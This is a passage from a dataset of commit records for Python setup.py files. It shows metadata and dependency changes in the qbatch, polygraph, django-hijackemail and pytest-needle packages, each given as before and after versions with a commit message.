#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.0.2', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], ) Add install depends, bump version number
#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.1', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], install_requires=[ "six", "future", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.0.2', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], ) <commit_msg>Add install depends, bump version number<commit_after>
#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.1', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], install_requires=[ "six", "future", ], )
#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.0.2', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], ) Add install depends, bump version number#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.1', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], install_requires=[ "six", "future", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.0.2', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], ) <commit_msg>Add install depends, bump version number<commit_after>#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.1', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], install_requires=[ "six", "future", ], )
b17a248e0ffc3992cabd19552697d60ee34eac91
setup.py
setup.py
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', ] } )
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', 'twine==1.8.1', ] } )
Add twine as a dev dependency
Add twine as a dev dependency For PyPI packaging
Python
mit
polygraph-python/polygraph
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', ] } ) Add twine as a dev dependency For PyPI packaging
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', 'twine==1.8.1', ] } )
<commit_before>from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', ] } ) <commit_msg>Add twine as a dev dependency For PyPI packaging<commit_after>
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', 'twine==1.8.1', ] } )
from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', ] } ) Add twine as a dev dependency For PyPI packagingfrom setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', 'twine==1.8.1', ] } )
<commit_before>from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', ] } ) <commit_msg>Add twine as a dev dependency For PyPI packaging<commit_after>from setuptools import setup setup( name='polygraph', version='0.1.0', description='Python library for defining GraphQL schemas', url='https://github.com/yen223/polygraph/', author='Wei Yen, Lee', author_email='hello@weiyen.net', license='MIT', install_requires=[ 'graphql-core>=1.0.1', ], extras_require={ 'dev': [ 'flake8', 'ipython', 'autopep8', 'isort', 'twine==1.8.1', ] } )
cbb72c027df55d2c9098eea7c89b756564d73b08
setup.py
setup.py
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Framework :: Django', 'Development Status :: 5 - Production', 'Operating System :: OS Independent', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Email', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Quality Assurance', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
Add more classifiers for PyPi
Add more classifiers for PyPi
Python
mit
katylava/django-hijackemail,zhuyue1314/django-hijackemail
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Framework :: Django', 'Development Status :: 5 - Production', 'Operating System :: OS Independent', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )Add more classifiers for PyPi
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Email', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Quality Assurance', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
<commit_before>import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Framework :: Django', 'Development Status :: 5 - Production', 'Operating System :: OS Independent', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )<commit_msg>Add more classifiers for PyPi<commit_after>
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Email', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Quality Assurance', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Framework :: Django', 'Development Status :: 5 - Production', 'Operating System :: OS Independent', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )Add more classifiers for PyPiimport os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Email', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Quality Assurance', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
<commit_before>import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Intended Audience :: Developers', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Framework :: Django', 'Development Status :: 5 - Production', 'Operating System :: OS Independent', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )<commit_msg>Add more classifiers for PyPi<commit_after>import os from setuptools import setup, find_packages def read_file(filename): """Read a file into a string""" path = os.path.abspath(os.path.dirname(__file__)) filepath = os.path.join(path, filename) try: return open(filepath).read() except IOError: return '' setup( name='django-hijackemail', version=__import__('hijackemail').__version__, author='Katy LaVallee', author_email='katy@firelightweb.com', packages=find_packages(), include_package_data=True, url='https://github.com/katylava/django-hijackemail', license='MIT', description=u' '.join(__import__('hijackemail').__doc__.splitlines()).strip(), classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Email', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Quality Assurance', ], long_description=read_file('README.rst'), test_suite="runtests.runtests", zip_safe=False, )
9f17c731fca8c5339c86ed03336cefa756c6c98a
setup.py
setup.py
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=2.7', 'needle'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 3 - Alpha', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=3.0.0,<4.0.0', 'needle>=0.5.0,<0.6.0', 'pytest-selenium>=1.10.0,<2.0.0'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 4 - Beta', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
Update requirements and development status
Update requirements and development status
Python
mit
jlane9/pytest-needle,jlane9/pytest-needle
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=2.7', 'needle'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 3 - Alpha', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ]) Update requirements and development status
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=3.0.0,<4.0.0', 'needle>=0.5.0,<0.6.0', 'pytest-selenium>=1.10.0,<2.0.0'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 4 - Beta', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
<commit_before>"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=2.7', 'needle'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 3 - Alpha', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ]) <commit_msg>Update requirements and development status<commit_after>
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=3.0.0,<4.0.0', 'needle>=0.5.0,<0.6.0', 'pytest-selenium>=1.10.0,<2.0.0'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 4 - Beta', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=2.7', 'needle'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 3 - Alpha', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ]) Update requirements and development status"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=3.0.0,<4.0.0', 'needle>=0.5.0,<0.6.0', 'pytest-selenium>=1.10.0,<2.0.0'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 4 - Beta', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
<commit_before>"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=2.7', 'needle'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 3 - Alpha', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ]) <commit_msg>Update requirements and development status<commit_after>"""setup.py .. codeauthor:: John Lane <jlane@fanthreesixty.com> """ from setuptools import setup from pytest_needle import __author__, __email__, __license__, __version__ setup(name='pytest-needle', version=__version__, description='pytest plugin for visual testing websites using selenium', author=__author__, author_email=__email__, url=u'https://github.com/jlane9/pytest-needle', packages=['pytest_needle'], entry_points={'pytest11': ['needle = pytest_needle.plugin', ]}, install_requires=['pytest>=3.0.0,<4.0.0', 'needle>=0.5.0,<0.6.0', 